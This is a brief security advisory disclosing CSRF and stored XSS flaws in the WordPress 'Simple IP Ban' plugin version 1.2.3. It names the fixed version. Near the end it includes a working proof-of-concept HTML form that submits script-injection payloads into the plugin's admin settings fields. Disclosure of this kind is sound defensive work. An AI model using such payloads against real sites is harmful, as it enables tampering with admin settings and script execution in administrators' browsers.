Title: WordPress 'IP Ban' plugin - CSRF/XSS
Version: 1.2.3
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej
Date: 2014/12/12
Download: https://wordpress.org/plugins/simple-ip-ban/
Notified WordPress: 2014/11/27
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## Description: 
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Simple IP Ban is a lightweight ip / user agent ban plugin.

## CSRF:
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It is possible to change the plugins admin settings by tricking a logged in admin to visit a crafted page. 

## Stored XSS:
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Settings data from the admin page is stored unsanitized and shown on the plugin's admin page. This allows an attacker to perform XSS through the settings fields. 

PoC:
Log in and click on submit on the following form: 

<form method="POST" action="http://[Domain]/wp-admin/options-general.php?page=simple-ip-ban "> 
   <input type="text" name="ip_list" value="</textarea><script>alert(1);</script>"><br />
  <input type="text" name="user_agent_list" value="</textarea><script>alert(2);</script>"><br />
  <input type="text" name="redirect_url" value="'/><script>alert(3);</script>"><br />
  <input type="text" name="submit" value="Save"><br />
  <input type="submit">
</form>

## Solution
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Update to version 1.2.4